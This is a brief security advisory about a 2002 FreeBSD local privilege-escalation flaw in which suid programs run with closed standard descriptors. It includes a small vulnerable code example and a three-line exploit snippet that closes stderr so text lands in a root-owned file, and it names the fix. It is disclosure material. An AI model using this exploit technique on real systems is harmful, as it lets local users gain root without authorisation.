|
|
|
|
| |
| It is possible for a local user under the FreeBSD operating system to execute a suid application with its stdin, stdout, or stderr closed. |
| |
Credit:
The information has been provided by Joost Pol.
|
| |
Consider the following (imaginary) suid application:
-- begin of imaginary code snippet
FILE * f = fopen("/etc/root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
fclose(f);
}
-- end of imaginary code snippet
Now, consider the following (imaginary) exploit:
-- begin of imaginary exploit snippet
while(dup(1) != -1);
close(2);
execl("/path/to/suid_application", "this text will endup in the root_owned_file", 0);
-- end of imaginary exploit snippet
Exploitation has been confirmed using the S/KEY binaries.
Impact:
High. Local users should be able to gain root privileges.
Solution:
FreeBSD source trees have been updated on the 21th of april 2002. Please cvsup.
|
|
|
|
|
